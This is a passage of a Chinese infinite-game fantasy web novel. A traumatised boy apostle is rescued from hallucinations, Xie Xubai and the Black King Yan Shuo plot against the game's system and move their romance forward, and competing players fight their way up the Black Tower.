她招呼男孩坐在躺椅上,让对方放轻松,掌心散发精神力:“是因为上次的试炼副本吗?我听其他抚慰师提起过,外神会污染生物的思维认知,前线攻略组差一点全军覆没。那些幸存下来的人,精神也受到了不可磨灭的损伤。” 男孩的精神失常,确实是上一场试炼副本的遗留问题,但和别人不太一样。 本来他不想提起,但或许是精神力的莹莹光辉照在抚慰师的脸上,衬得她愈发温柔可亲,逐渐和记忆中模糊的身影重合在一起。 太久没能见到亲人的男孩扬起脑袋,怔愣地看着抚慰师的脸,眼眶逐渐红上一圈。 噩梦源于男孩最新觉醒的能力。 主动技能是让敌人的能力无效,乖乖停在原地当挨宰的羔羊。 这一技能所蕴含的潜力无限大,用得好的话堪称无敌,是以联合会立马激动地着手安排男孩参加试炼。 男孩得知自己有机会入选为正式使徒,加入前线攻略组,拯救消失的波兰人民,想也没想地欣然应允。 然而他们都没想到,男孩竟然同时觉醒出被动技能“无声的旁观者”,能够看穿虚幻中隐秘的真相,却不能说出口。 也正是那一次试炼,意气风发的男孩毫无防备地抬起头,直面了外神的真身。 那一刻堪称地狱。 数不清的呓语在男孩的脑海中响起,疯狂、混乱。 男孩很难形容他感受到了什么,他听到自己嘴里发出撕心裂肺的叫喊,四肢像断裂的积木般掉落,黏腻滚烫的血液顺着鬓角流淌。 脑袋凉飕飕的,伴随着让神经颤抖的麻痒,有什么东西掀开他的天灵盖爬了出来。 直到那个东西爬到眼前,细长的纤维束扫过脸,撑起白花花布满褶皱的身躯,他才恍惚发现。 ——原来,那是他的脑花呀。 男孩忍不住打了个哆嗦,抱住自己抖成个筛子。 那场景诡异恐怖到他这辈子都不愿意再遇见。 抚慰师问:“那你还记得自己当时是怎么得救的吗?” 男孩点头,他醒来后听医师提起过,是那个传闻中叫white的关系户救了他。 医师的口吻不掩庆幸,直言如果当时不是对方离得近,他会迎来比死亡更凄惨的下场。 男孩也想找个时间去道谢。 但是从那天之后,他的精神就变得很不正常。难以入睡,时常惊醒、心悸。经常无意识发呆,一点声响就会蹿跳起来,草木皆兵,很难再和人正常接触。 听到这里,巡逻队长的脸上流露出一丝恍然大悟——男孩谎报消息的原因可算找到了。 他语重心长地劝说:“你应该早点向上面汇报自己的遭遇。” 抚慰师:“是啊,你都出现幻觉,再这么拖延下去病情只会更严重,必须好好修养一段时间。” 男孩张开嘴欲言又止,神色有些着急。 抚慰师仿佛知道他在担心什么,微笑着说:“放心,我刚检查过一遍,你受到的损伤不算太严重,不会对今后的训练造成影响。” 那就代表他不会被淘汰,还有机会继续竞选正式使徒,挽回初战发挥失力的评价。 男孩当即松上一口气,仰头看着面前的两人,心想自己又遇到了好人,露出一个放松的笑。 这时抚慰师站起来,给巡逻队长倒了杯水:“劳烦您把他送过来。没能检测出他残留的精神损伤是我们这些抚慰师的失职,稍后我会向上面请示。” 巡逻队长笑着说了声没事,将水一口喝完。 “马特乌斯。” 抚慰师转头又倒上一杯水,递给男孩,柔声说道:“看你满头大汗的,先喝口水吧,我马上为你治疗。” 男孩乖乖地将水杯接过来,温热的水汽蒸腾而上,模糊了视野,让人感觉暖烘烘的。 喉结一滚,渴意上涌。 他张嘴要喝,忽然想到什么,全身猝然一僵。 像一盆冷水兜头淋下,男孩被暖意照拂得混沌的脑子,刹那清醒了不少。 他缓缓抬头,看向面前温柔微笑的精神抚慰师,嗓音沙哑得像是磨砂纸:“……你,为什么会知道我的真名?” 为了避免被系统追溯身世、斩草除根,所有使徒的身份信息和真实长相都被列为最高机密,除了领路人和自己以外,谁也不知道。 听到男孩的询问,精神抚慰师说:“因为我刚才使用了精神探查……” “不对!” 男孩骤然打断她的狡辩,厉声喝问:“我没有向上面汇报情况,不是我不想,是技能特性要求我保持【缄默】!只要有倾述的念头就什么都说不出来,可是为什么我能向你们毫无障碍地说出那些真相??” 精神抚慰师不说话了,保持温柔得体的微笑,安静地和男孩对视。 巡逻队长也放下水杯,无声地看着男孩。 治疗室外人声退去,寂静无比。 男孩的心跳越来越快,一缕冷风从窗户的缝隙吹进来,拂过他满是鸡皮疙瘩的手臂。 男孩吞咽口水起身,突然感觉手掌有些痒。 低头一看,瞳孔无声瞪大。 清冽的热水消失了,他只看见了虫子——很多的虫子! 它们源源不断地从水杯里涌出来,爬上他的手背,着纤毛的细脚搔动皮肤,密密麻麻,顺着胳膊往上! 再看那水杯,哪是什么水杯,两只黑窟窿似的眼睛瞪着他,分明是人的头盖骨! “啊——!” 男孩手忙脚乱丢掉头骨,疯狂拍打手臂上的虫子,连滚带爬地离开躺椅,冲向治疗室的大门。 他又听到了窸窸窣窣的声音,从抚慰师和巡逻队长的位置传来,那么近,那么清晰,冰冷的呼吸贴着他的耳侧,仿佛就在他的身边。 男孩几乎被吓得魂飞魄散,手脚发软,不敢回头,只敢拼命地往前跑。 直到再次撞见巡逻队。 为首的队长一把拽住他的胳膊,强迫他停下。 “怎么了?发生什么事了?” 男孩惊恐地气喘着,下意识要开口。 抬起头的瞬间,又看见了巡逻队长的那张脸! 啪的一声,巡逻队长的身体四分五裂,黑红色的血虫淅淅沥沥地掉在地上。 男孩想跑,奋力挣扎,高声尖叫,但巡逻队长的手死死地抓着他。 他眼睁睁地看着无数血虫涌上来,冲着他张开血盆大口。 …… “还没有找到吗?” 外面传来嘈杂的脚步声,还有巡逻队员焦急的声音。 “没有!各个地方都找遍了!” “裴监察员说了,那名使徒预备役的精神正处于崩溃边缘!如果不能把他及时送去治疗,他必将疯狂堕化!” “可他就是从治疗室逃出来的啊……治疗真的有用吗?” 嘭! 口不择言的人被狠狠踹了一脚:“他丫的,别在这里说风凉话,别忘记他们是为了谁才变成这样!找!无论如何都要找到他!” 男孩蜷缩在黑暗里,眼下一圈青黑,瞳孔呆滞涣散,宛若被抽空灵魂的木偶。 外面响起翻天的阵仗,几乎所有警卫齐齐出动,他恍惚地疑惑了一下,歪了歪脑袋。 那些声音是从哪儿传过来的呢? 是从他的耳朵,还是大脑,还是手脚、心脏呢? 男孩抬起自己的手指,指尖的尘土在他眼里变成跳跃的灰尘精灵,随后扭曲异变,长出狰狞的触须。 他忍不住笑起来,冲它们缓缓地张开了嘴。 突然间咔嚓一声巨响,从他的身下传来。 男孩呼吸一滞,浑身汗毛炸开,恐慌地要往外爬。 晚了!发现他的人下手干脆利落,电光火石间拆掉通风管道,把他倒了出来! 强烈的失重感传来,男孩发出尖叫,直到有人稳稳地接住他,单手掌住他的后脑勺,金光倾泻而出,转眼间构建起精神链接! 男孩仓促抬头,视线撞入谢叙白平静沉稳的眸眼,那眼神不知道有什么魔力,叫他忽然定住。 下一秒,他看见一段记忆影像,一个普通人在无限游戏开启前的日常生活。 比如早起去买喜欢吃的包子,咬出肉汁后双眼放光。 比如超绝不经意地一步步靠近流浪猫,搓搓手指,欲盖拟彰地:“嘬嘬嘬……” 比如周末放风去公园溜达,偷偷摸摸混进人群,探头探脑看大爷们下棋。 男孩充斥着惊恐和混乱的脑子,仿佛被那稀疏平常的画面猝然冲散,满脑子一片空白。 直至谢叙白的精神体出现在他的身边,不疾不徐的嗓音平稳响起:“你的记忆和思维都已经被污染了,在彻底清理干净前,就先忍耐一下,看点别的东西吧。” 至于自己到底看了多长时间的记忆影像,男孩记得并不清楚。 他只记得镜头没几个,一直在重复地播来播去,播来播去。 原本他不想动,也没有力气去动,最后实在忍不住了,强烈要求谢叙白换个新的影像。 至少别老是包子馒头、猫猫狗狗还有大爷大妈!那些东西到底有什么好看的! 谢叙白的精神体飘在旁边,看得津津有味,一点都不带厌烦。 闻言,他笑眼瞥过去:“好啦好啦,我也想给你放点动画片,可惜一直没什么时间去看,要不我现场给你编个故事?” 男孩:“……谁要看动画片了!” …… 小羊从梦中醒来。 他很久都没有睡得这么踏实舒服,忍不住伸了个懒腰。 展臂却撞上结实的胸口,这才反应过来自己是被人抱着的。 小羊顿了顿,怔愣地抬头看。 谢叙白掌心金光氤氲,为对方清除意识海的污染,似有所感地低下头:“醒了?” 太阳早已坠落,寒风呼啸席卷大地。 整个十一层黑得伸手不见五指,唯有篝火在黑夜里噼啪燃烧。 那摇曳的橙红色火光照在谢叙白的脸上、身上、头发上,映出清瘦干练的轮廓,最后落在他的眼底,炙热、明亮,宛若太阳正从里面冉冉升起。 小羊下意识将他抱得更紧,像是夜里失温的小动物本能地靠近热源。 谢叙白重新将精神力凝成毛刷:“这次别放在空间袋里了。” 小羊接过毛刷,如果不是他的契约神祇为谢叙白赐福那一茬瞬间提高了对方的境界,他本该看出这东西藏着的蹊跷。 想到这里小羊忽然警觉,紧张兮兮地检查谢叙白的情况。 神化成黑山羊幼崽后会丢失记忆,他记不清当时发生了什么,幸好左看看,右看看,没有发现受伤的迹象。 小羊顿时松了口气:“你应该早点告诉我这东西可以用来召唤你。” 谢叙白:“如果我事先告诉你,你还会用吗?” 小羊扯了扯嘴角,不置可否。 ——他本就打算和那两个叛徒同归于尽,为white减轻负担,何至于又把对方牵扯进来。 男孩的情绪波动如实传来,谢叙白不免头疼莉莉丝究竟给这孩子灌输了些什么可怕的东西。 说起可怕,他眉头一皱:“你什么时候接触的旧日支配者?” 连谢叙白都没想到小羊居然会契约黑山羊幼崽。 不是“能”,是“会”。 他很早就知道,小羊的技能特性让对方天然拥有接触“禁忌”的优势,迟早都能和祂们搭上线。 但是。 谢叙白微微一笑:“明明有过差点迷失在疯狂里的遭遇,居然还敢这么大胆地直接和旧日支配者缔结契约,是不是有点欠考虑了,马、特、乌、斯?” 小羊从昔日监护人兼上级长官的语气里听出危险的气息,立马汗毛直竖心脏一抖:“对,对了!” “你还记不记得游戏胜利后,联合会要无偿分享给我们国家最新的科研成果,比如——” 公是公,私是私。 谢叙白条件反射进入滴水不漏的外交状态,礼貌得体且分毫不让:“我怎么记得当初商讨的结果是经由联合会共同裁定后,按照贡献度和具体需要分配战果和所有生产资料?” 小羊原意是快速转移话题,结果发现white不仅没上套,还一副公事公办没有任何回旋余地的周扒皮模样,忍不住严肃瞪眼:“难道你要说我们的贡献度还不够?” “当然够。”谢叙白微笑说,“所以一切都会按照拍板敲定的章程办事,我也一定会在战后总结和申请报告中多替诸位美言几句。” 果然这个家伙在国家公事上就是个软硬不吃的铁公鸡! 小羊唰一下坐起来,磨牙凿齿,气得想咬他。 紧跟着谢叙白话锋一转:“不过鄙人有幸在某个权威医疗机构里担任副院长,或许可以帮忙争取到相关成果。” 一听这话小羊顿时来劲儿了! 无限游戏时期的医疗领域也包括能力开发和数值强化提升,换而言之可以最大程度实现人民的统一进化! 谢叙白:“但由于鄙人任职的机构于十多年前被招安,从私立改为公立医院,所以还是要打报告向上级申请。” “不过那些研究成果都设置了合法的招商加盟渠道,凭你现在积攒起来的家底,买下来应该不在话下。看在昔日无数载的情谊和诸位劳苦功高的份儿上,我尽量帮你们争取到最大的优惠折扣。” 小羊:“…………” 第242章 成神进度:88%…… 另一边,黑王宫殿。 宫廷医师的医术精湛高绝,加上不断有神力赐福治愈精神损伤,谢叙白的这一道分魂很快恢复如初。 他没顾得上继续休息,始终惦记着系统失口透露的重要信息。 ——我现在怀疑他已经知道了无限游戏的秘密!必须尽快结束这场试炼除掉这个祸患! 祸患指代忒修斯。 端看系统那狗急跳墙迫切想要斩草除根的态度,忒修斯掌握的一定不是什么小秘密。 谢叙白几次感知那人的情绪。其他的事情他没有百分之百的把握。但忒修斯“捏着把柄胜券在握”的这一心念,他确定不会有假。 可惜忒修斯似乎早就预料到会被读心,提前设下精神壁障,将那一秘密的相关记忆严丝合缝地封印加锁,谢叙白没能顺利读出来。 现在问题来了。 忒修斯掌握的秘密究竟有多大? 能不能大到解决系统? 能不能大到杀死游戏? 系统的后半句话里还有一点让谢叙白很在意,那就是“尽快结束这场试炼”。 一般会以为系统的“结束”,是让玩家输掉试炼。 但结合从第九第十使徒那里读取来的记忆——玩家达成【10】次连续首通记录,不仅不会结束游戏,还会让所有人记忆清空,重新陷入新的循环。 这个“结束”的概念瞬间就宽泛了起来。 玩家输掉试炼会结束副本,通关试炼一样会结束副本,无论输赢对系统都有利。 好比将石头推上山,费时又费力,但让石头滚到山脚一样能达到目的——当系统接连阻止玩家登塔失败,它又会怎么做? 谢叙白猛然间想起现任的第一使徒,当前玩家中唯一的记录【9】,心脏骤然提起,下意识起身。 结果还没站起来,就被粗壮的触手勾着腰圈了回去,啪一声跌入男人结实宽厚的怀抱。 宴朔双手将谢叙白的腰身环住,臂膀外扩微松,让青年能自由活动不觉窒闷,十指骨节却暗中扣紧,不肯放人离开分毫。 “谢叙白,我时常会觉得自己很失败。” 男人说话一直是冷冷淡淡的模样,却无端让人觉得在内省暗恨:“明明我就在你的身边,但你在遇到麻烦时,似乎总也想不到找我帮忙。” 谢叙白张了张嘴,下意识反驳宴朔的前一句话:“没有……” 宴朔看向前方的广场,若有所思地皱皱眉头:“还是说这些人手不够用?” 所以给不了谢叙白安全感? 谢叙白眉心一跳,连忙拽住他:“够多了不用再叫人了这样就很好!” 就在两人的面前,偌大的广场上乍一看黑压压一片,上万名威武雄壮的王国卫兵身穿甲胄集合列队,肃杀之气扑面而来。 当谢叙白的视线看过去时,无数卫兵就像被踩中尾巴似的噌一下昂首挺胸,有意无意地展示出自己最英勇强劲的姿态,眼神那叫一个激动难抑满含期待。 老实说,一觉醒来毫无防备看见这威武壮观的场面,谢叙白的内心是拒绝的。 奈何大庭广众之下,好几根触手勾着他的脚踝,他总不能撒丫子逃跑。 也多亏和联合会对峙几辈子练出来的厚脸皮,让他能够面不改色地窝在宴朔的怀里,端得是一副气定神闲的高人风采。 于是包括卫兵在内的一干人等看向谢叙白的目光一变再变,惊疑不定中充斥着无声的敬佩。 毕竟能若无其事享受黑王伺候的勇士,会是什么简单的人物? 回到正题。 卫兵们整装待发,自然是为了平复王国各层级频繁发生的暴乱。 原本宴朔认为这样治标不治本,于是最早该去平乱的那批士兵中途接到调令,齐刷刷改道前往天灾横行的底下十层,赈灾救民。 留下来的这一万人,就只是黑王的亲兵,只听从宴朔的号令。然而谁也没想到黑王挥了挥手,全部拨给谢叙白差遣。 陡然得知这一消息,包括宫廷总管在内的一溜臣子那叫一个心惊肉跳,两眼发黑! 现在王国的主要兵力都被调走,整个宫廷的安危就靠这一万人严防死守,王居然还要把他们送出去! 这和把自己的脑袋砍下来,双手捧给谢叙白有什么区别? 他们不敢抗议,只能心急如焚地在后面连连张望,期盼黑王能迷途知返,意识到问题所在。 此时看见宴朔拧起眉头,所有臣子都是一喜。 发现了吧?发现了吧?一定发现了吧! 尊敬的王啊,烽火戏诸侯是妥妥的亡国之兆啊!赶快醒悟过来吧! 却不知宴朔正揉着谢叙白的后颈直叹气:“他们的战力是寒碜了一点,但帮你解决掉那几个棘手的王族,应该没什么问题。” 黑王继位后,其他王族按照礼法封爵,在黑塔各个层级享有自己的领土,治理当地公务。 他们基本代表着黑塔现在的权利层级,从上往下排依次为公爵、侯爵、伯爵、子爵、男爵。 其中,公爵侯爵的领地坐落于黑塔上段,其他则在中段及以下。 宴初一等人现如今已经抵达上段,所以二十一层往下的不用考虑。 宴朔之所以想让谢叙白率领这批亲卫,主要是因为侯爵大多数都有半神级的实力。 公爵虽说只有一位,却只差一步成神,更别提麾下还有无数精悍强壮的士兵。 宴朔忽然顿住,越想越觉得不稳当。 ……或者他现在就去把那个公爵解决掉? 谢叙白一看宴朔的表情,就知道对方肯定在想危险的东西,连忙叫人打住。 宴朔和谢叙白对视片刻。 他又何尝不知道谢叙白这样小心翼翼,是担心成为黑王的他会被规则裹挟,在动用权力时遭到打压。 被人关怀固然值得高兴,但是…… 宴朔扭头,不容置疑吩咐宫廷主管:“我怀疑正在登塔的参赛者里有伪装的叛乱者,即刻起比赛暂停,让游戏监察会新上任的会长去彻查这件事。” 言出法随,落地生根。 当主管领下命令退走安排的瞬间,黑塔上下三十层的玩家都接到了游戏的突然提示,掀起轩然大波,各种关于发生了什么变故的猜测霎时间频出不穷。 且不论玩家那边是什么看法,宴朔的安排毫无疑问精准地戳中谢叙白的心坎! 既然玩家输赢都有风险,那自然要从长计议,他刚才冥思苦想,就是在琢磨如何拖延通关时间。 但之前宴朔放宽玩家登塔的条件,系统扭头就安排了一出污染爆发天灾四起。此举逼得王国公民纷纷揭竿而起,掀翻暴政的矛头直指黑王,后者瞬间处于众矢之的。 谢叙白担心会有类似的噩耗发生,奇怪的是,没有。 广场人声消弭,高空冷风瑟瑟,没有冒出任何刁难的提示声。 这是怎么回事? 宴朔等到谢叙白惊讶够了,狐疑求解的目光转向他,方才缓慢地解释道:“从系统枉顾游戏的合理性促使天灾发生时起,规则就已经扭曲了,无法自洽,漏洞百出。所以在不动摇黑塔根基的前提下,我们也可以改变一定规则。” 刹那间谢叙白的眼睛微微睁大,里面掠过一抹名为惊喜的亮光,看得宴朔忍不住收紧臂膀。 从看见谢叙白频繁受伤时起,从恢复记忆重复见证谢叙白一次次死亡时起,他就再也保持不了以往的凉薄和漠视一切。 那是他该去痛苦和纠结的——连自己的爱人都保护不了,是祂的悲哀和无能。 但宴朔无法理解的是,为什么舌根的苦味愈浓时,会生出一种像是烈火燃烧的欲望,一种强烈到呼之欲出的冲动? 是因为他只能看着谢叙白的分魂东奔西走,疲于奔命吗? 是因为谢叙白遇到问题的第一反应是独自解决,而不是向他倾诉吗? 宴朔俯下身和谢叙白耳鬓厮磨,看似温柔的眼底却一片幽深晦暗,明明在亲吻谢叙白的耳尖,却按捺不住露出尖锐利齿,如饥似渴地轻轻刮擦。 极其不满足的感觉,就像凉风灌入空荡荡的心口,迫切地想要填补,迫切地想要表现自己。 “现在知道了吗,谢叙白?你可以尽情地用我。” 宴朔自觉为怪物,怪物毫不掩饰自己的想法,那浓烈到汹涌的情感山呼海啸袭来,竟让谢叙白头晕目眩。 他理论上应该擅于应对这种局面,却好半天都说不出话,只觉语言的匮乏。 前面数不清的轮回,谢叙白知晓宴朔的心意却始终没有接受,就是因为认定自己是一个将死之人,不想拖人下水。 但现实似乎是越想回避,情况就越糟心。谢叙白万万不会想到,为了救他复活,宴朔居然毁掉了半个神核! 和他们这种后天成神的情况不同,神核就是祂的灵魂,失去神核的邪神没有降级成怪物的可能,祂会直接魂飞魄散!现在能够恢复部分记忆都是个奇迹。 是以谢叙白明明已经决定和宴朔共相守,临到记忆恢复得越来越多,却变得愈发摇摆,举棋不定。 平安,谢少侠会照顾。 谢少侠,裴叔叔会照顾。 妈妈和裴叔叔有着自己的事业和抱负,他们两人会长相厮守。 岑海跃已经恢复自由身,或许一时间接受不了他的离开,但天下之大,他那样潇洒坚强的人,哪里不能为家? 而他的亲生爸妈,彻底忘记了他这个喜欢招惹是非的儿子,会过得更好。 这世界明明离开了谁都能照常转。 唯有宴朔。 唯有宴朔。 谢叙白无数次清楚地意识到,如果自己死去,祂也不会独活。 ……但是何至于此呢? 心烦意乱间,谢叙白深吸一口气说,避开宴朔的视线站起身:“你说小一跟你一起进来了,它在哪儿?” “……”宴朔抬眼看着谢叙白,瞬间空气紧张得剑拔弩张,但他终究没有继续逼迫下去,只是没有情绪地沉声问,“你找它干什么?它能比我更强?” 换在以前宴朔绝对不会去直白地争什么,那太幼稚,也不体面。 但现在他顾不上了。 就算谢叙白一直不肯直面两人之间的感情,他也必须成为谢叙白的首选。 他要谢叙白在无助困惑的时候第一时间想起他,也只能想起他。 岂料话音未落就被谢叙白捏住下巴,掰过来亲了一下嘴。 这一亲稍触即离,不同之前是为了安抚他才亲……不,或许也有安抚的成分,但却那样自然随意,就好像,亲吻于他们之间,理所当然。 宴朔僵住了,抬头看见谢叙白的笑眼逆光而来,蹙着眉头还是有点纠结别扭的模样:“宴先生,事先说明我可不是想渣你,如今战况紧急,你要实在想和我腻歪什么的,恕我精力不足难以从命。所以——” 谢叙白舔了舔干涩的嘴唇,认真说道:“等到胜利后,如果你还在,如果我还活着……你就搬过来和我一起住吧,怎么样?我家新房子还是蛮大的,还带小花园呢。” 刹那间宴朔瞳孔骤缩。 过去和现在的幻影交织在一起,一股激烈的情感跨越时空长河,轰然席卷在他的心头。 ——谢叙白!谢叙白! 宴朔听见耳边响起自己的嘶吼声,就在上一世的结尾,因为目睹谢叙白灵魂的碎裂而肝肠寸断,尖锐到泣血。 ——你太自以为是了谢叙白!你凭什么以为没有你,我就能爱上那千千万万人?你到底当我是什么人?!又狂妄地以为你是我的什么人?! ——你死不掉的,你别想这么轻轻松松抛下一切去死!无论付出什么代价,我会把你复活,让你知道什么是后悔!! 【好啊。】 那是极轻、极轻的一声呢喃,像亡魂弥留之际极其不甘含恨的呓语。 彼时的宴朔猝然和濒死的谢叙白对上眼,看到青年双目通红,涌出汩汩热泪。 那被深深掩盖在大义下的自私和遗憾,终究没能藏住,在男人的嘶吼声里喷薄而出。 【下辈子,咳咳……如果,我们都在,如果还有,来生……】 谢叙白的指尖从宴朔泪痕遍布的脸颊一点点坠落。 意识愈发涣散,泪眼逐渐失焦,目光却魂牵梦绕,不依不饶。 直至喉头滚出一声带着血腥味的笑,像白玉染血,蛊人犯罪的妖。 【……做什么都别墨迹,直接上。】 第243章 【补字】 成神进度:8…… 通关时限的第六天,大多数副本的第一梯队都已经顺利登上黑塔二十层。 根据直播外数据帝的粗略统计,这个时间点所有闯关者的存活率大概是十五万分之一,也就是说,全服大概还有一千名闯关玩家。 这期间接连发生了令他们猝不及防的惊变。 首先是在没有系统提示的前提下,所有副本居然开始无规律融合,从一两个到三四个,最后七八个。按照这种趋势发展下去,百人副本妥妥要变成全服联网大混战! 其次,同样是在没有系统提示的前提下,登塔比赛毫无征兆地宣布暂停,并且他们还接到了游戏监察委员会的调查通知。 任务面板的通关时间戛然而止,让他们意识到这并不是关卡设计的一环,是真出现了什么变故,连系统都始料未及。 当然,能活到现在的闯关者大多数都是人精,不会乖乖等着被逮捕。 在短暂的震惊焦躁后,他们迅速冷静下来,各显神通躲避王国士兵和公民的搜查,在暗中秘密联络与合作,静观其变。 彼时的闯关玩家群体势力大概分为三类。 一类是铁血赎回党。 这类玩家的战斗力参差不齐,发现副本融合的第一时间就主动投奔了记录【9】,即现任的第一使徒。人数约莫占总体的50%。 一类是专注通关的独行侠或私人雇佣兵团体。 他们不信任其他组织或个人,特别是那些享誉已久的大热主播和公会,从而选择单干。比起人类的未来,更在意能从这次试炼中赚到多少积分奖励,以利相倾。 因为实力逊色又没有同伴支援的人大多在一开始就被刷了下去,所以这类人的战斗力超群却数量稀少,大概占总体的5%。 最后一类,也是比重相对较大的一类玩家。 他们大多出自知名公会或组织,或心怀叵测钩心斗角,或摇摆不定见风使舵,或计谋深远忠肝义胆。 其目的,不仅仅在于通过本场试炼,而在于—— 嘭! 偷袭者重重地倒在地上,脸上还残留着临死前的惊恐。 被突然袭击的玩家没有丝毫察觉,直至身后传来重响,回头看见倒下的人,才骤然发现自己刚才逃过一劫,惊疑不定地看向出手相救的一群人:“你们是……巅峰的人?” 新抵达的人群统一身穿军制作训服,肩膀绣着五爪金龙的图纹。肌肉遒劲,腰背笔挺,威风凛凛的气质不管在什么地方都是显目出众的存在,一眼和其他人区分开。 眼前的战士们是巅峰的一支队伍,独特的徽记和高级玩家特有的威压,彰显着他们在公会里的精英身份。 解决掉偷袭者后,他们中走出来两个人。两人分工明确,一人点出虚拟记录仪,核验偷袭者的玩家资料,一人抬手使用鉴别技能。 随着技能波动的传开,观察情况的玩家骤然脸色一变。 只因偷袭者不复实体,愈发透明模糊,浑身上下显露出亮白色的数据流,其中有字符不稳跳动,膨胀坍缩,扭曲变形,浮现出诡异的黑红色,犹如狰狞的触须在张牙舞爪。 遇到过同样情况的人对此并不陌生——被系统打上奴役烙印的玩家,精神意念会遭到污染同化,呈现出来的就是这种不人不鬼的数据体! 但此处并非普通地点,而是一名玩家用技能开辟出来的特殊安全区域,防护强度等同于不能伤人的玩家大厅! 而今系统竟然将手伸到这里面来了,如何不让他们悚然惊骇? 当即有人绷紧肌肉蹿跳起来,扫视四周怒吼:“这群王八羔子,把他们都揪出来!” 潜藏在人群里的叛徒眼见身份即将暴露,当即不再伪装,唰一下对近处的玩家亮出利器。 只听噗呲两声闷响,怒骂混着惨叫四起,一场血战就此爆发! 黑塔第二十二层。 这是一片大漠,远望黄沙无尽头。巨大的日轮悬在地平线上,橙红色的天幕宛若火焰在熊熊燃烧。 荒漠中有两道显目的人影。 一道背靠枯木席地而坐,和清一色的肌肉大汉相比,体格不算特别出众。浓眉大眼,五官端正,三十岁左右,剃的寸头,上半身什么都没穿,看起来就像拳击擂台上的经典斗士。 破烂沾血的绷带被一圈圈解开,顺势滑落,盘踞在滚烫的沙地上。 拳击手撕出新的绷带给拳头缠上,张口咬住尾端扯断,熟稔地打了个结。 做完这一切,拳击手按住胸口,快速地喘上一口气,看向不远处的另一道身影。 那是个正对着直播镜头侃侃而谈的小伙子,大概二十七、八岁,从头到脚全副武装,十根手指上都戴着高级防护戒,其怕死程度可见一斑。 唯有脑袋从盔甲里露出来,一副打扮得额外吸睛的扮相,表情眉飞色舞,就像电视节目里的脱口笑艺人。 盔甲男在各个语种之间来回切换,舌头滑溜得像是涂了润滑油,自吹自擂的笑声在寂寥萧条的荒漠上吵闹非常。 “……都说了,我可是本区第一高手……刚才的战斗是不是特别精彩?想不想看到更炸裂的内容?” “先生女士们,我可看不见你们的弹幕,积分打赏刷起来!你们的热情有多高,爆炸的声响就有多大!人生只活一次,让我们彻底狂欢!” 直播间弹幕唰唰响应,收获打赏的系统提示接连不断。 其中不知道是谁打赏了一笔巨额积分,盔甲男瞬间笑得眼睛都眯成一条缝。 拳击手看在眼里,冷不丁说了句:“那些信任你的蠢货们真让人感到可怜。” 盔甲男听到了拳击手的嘲讽,笑着瞥过来一眼,却不受影响,继续烘托直播间气氛。 直至打赏积分积累到一个可观的数额,他才假借不想分心之名,心满意足地关掉直播。 拳击手知道这是他惯用的伎俩。 说什么一心惦记着给观众呈现出最好的镜头,容易在战斗过程中分心,所以尘埃落定之前绝对不会打开直播。 但其实是什么都没做,全程躲在暗处等待机会。一旦BOSS或精英怪被集火至残血,他就会打开直播跑出来收割人头,还要假扮一副殊死拼搏的作态,让观众们为他热血沸腾泪流满面。 像这种全程不出力,躲在后面摘桃子的行为,当然会引得群情激愤。 一些侦察能力强的玩家,也很容易从直播画面里战斗细节中看出这家伙在招摇撞骗,弄虚作假。 是以盔甲男翻车过好几次,臭名远扬,还被抢走BOSS一血和对应奖励的玩家们联合起来报复痛殴过,差点一命呜呼。 然而让局外人感到十万分不解的是,这坑蒙拐骗的糟心玩意不管被打压下去多少次,都能像生命力顽强的蟑螂一样秽土重生。 不知道多少次复出,爆火,被打假,骂名中销声匿迹,然后又复出,爆火……周而复始无限循环。 讨厌他的人一如既往地厌恶。 信他的人不管多少次都会掉进同样的坑,为他摇旗呐喊,最后心碎散一地,让人忍不住怀疑这背后是不是有个剧本。 拳击手对这种诈骗的行为感到不耻,就算此前盔甲男的名气传得沸沸扬扬,大红大火到连他认识的人都会忍不住在他面前酸溜溜地提上一嘴,他也不会去特意关注。 盔甲男对拳击手也是同样的想法,又或者说作为职业骗徒,他向来不喜欢那种一板一眼极其较真的家伙,因为他们开不起“玩笑”,而且报复心极强——他可绝对不会承认是自己的问题。 两人是八竿子打不着的关系,此前也没有任何交集,至于现在,纯属意外,谁让他们都接到了平叛的任务。 盔甲男关掉直播,随手抽出根烟点上。 这里很安静,白烟过肺一圈圈地吐出来,在夕阳的余晖中燃烧,又被呼啸的风沙吹散。 他友好地冲拳击手扬了扬烟盒:“嘿,兄弟,来一根?” “我觉得你不应该出现在这里。”拳击手冷眼讽刺道,“你应该在夏威夷的沙滩舞会上左拥右抱夜夜笙歌,然后跳上台开一瓶威士忌,甩着酒瓶子乌啦啦地乱叫……” 盔甲男摸着下巴:“我懂了,你是夸我有成功人士的气质。” 拳击手:“我是说你像只想要博人眼球的猴。” 盔甲男一听,竟然一点都不生气,反而哈哈大笑起来:“你可太幽默了。” 拳击手捏了捏绑好绷带的手,沉声道:“不,我是认真的,你不该来蹚这一次的浑水。” “你是说平叛任务?哥们拜托,又不止我一个人接下任务,为什么你不去找他们的茬?” 拳击手无声地看着盔甲男。 放眼望去,周围空荡荡的不见任何人影,估计方圆几里地,只剩下他们两个大活人。 盔甲男理直气壮地吐出个烟圈,咧嘴露出十几颗锃亮的白牙。 拳击手耐心告罄:“告诉我原因,我不信你没有接到系统的威胁通知。 只要接下平叛任务就无法取消,会被它的爪牙追杀至游戏结束的那一刻,像你这种贪生怕死的人——” “那你呢?” 盔甲男捏着烟突然截断他的话,声音笑嘻嘻的,眼底却一片冰冷,字字尖锐:“你们洲区是出了名的搅屎棍子,从上到下烂得没边。先不说之前搞出那么多破事,害得其他洲区损失惨重,我可听说你们联邦安全局对外一直是无限游戏的忠实拥趸,甚至将其称赞为拯救世界的主。” “你在他们手底下当马腿,怎么忽然想着和系统反着干?别跟我来政客意志不代表人民意志,先前你们洲区搞垮其他洲区给职员和玩家在线发福利的时候,可没见你们少领。还是说上帝的名声也不好使了?” “那些福利我一次都没领过。”拳击手沉默片刻,突然说,“加入安全局是因为他们将通关积分克扣得太过分,我发现自己居然养不起家,连孩子们也必须参与死亡游戏。” “所以呢?打不过就加入?然后成为刽子手最锋利的刀?” “不,加入后拿到保护名单,将那些不顾底下人死活、主张提高积分税收的官员都宰了。” “oh……” 盔甲男似是惊叹,快速地眨了眨眼睛,很快上下打量拳击手,提出一针见血的质疑:“但你看上去毫发无损?” 拳击手说:“因为运气好,有个大人物看中我的身手和胆识,将我收为副官,于是我不用忍受轮白,保留记忆活到了现在。” 所谓轮白,最早出自游戏术语,就是将玩家堵在复活点不断地杀,每死一次都会掉落装备并遭到降级处罚,一直杀到等级归零,变成白板。 